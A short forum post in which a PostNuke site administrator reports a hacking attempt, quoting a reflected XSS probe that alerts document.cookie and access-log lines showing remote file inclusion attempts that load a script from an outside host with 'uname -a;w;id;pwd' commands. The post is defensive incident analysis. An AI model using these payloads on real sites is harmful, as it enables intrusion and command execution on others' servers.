Last night someone was trying to hack my PN installation. Besides the trivial:
Code
GET /index.php?module=<script>alert(document.cookie)</script>
... that triggered mod_security into mailing me the audit_log (and noticing the lammer in the first place), he tried:
Quote
> tail -100000l /PN-access_log | egrep 'LAMER_IP' | awk '{print $11}' | sort | uniq -c | sort -nr
36 "http://mypn/index.php?module=ContentExpress&func=display&ceid=23&meid=24"
34 "http://mypn/index.php?module=ContentExpress&file=index&func=display&ceid=11&meid=12"
20 "-"
7 "http://mypn/index.php?module=http://www.fendora.net/asc/xpl/asc?&cmd=uname%20-a;w;id;pwd"
7 "http://mypn/index.php?module=ContentExpress&func=display&ceid=53&meid=http://www.fendora.net/asc/xpl/asc?&cmd=uname%20-a;w;id;pwd"
5 "http://mypn/index.php?module=ContentExpress&func=display&ceid=53&meid=-1"
1 "http://mypn/index.php?module=ContentExpress&func=display&ceid=47"
Do the 4th and 5th line approach any know PN vulnerability..? Probably a poorly engineered script...
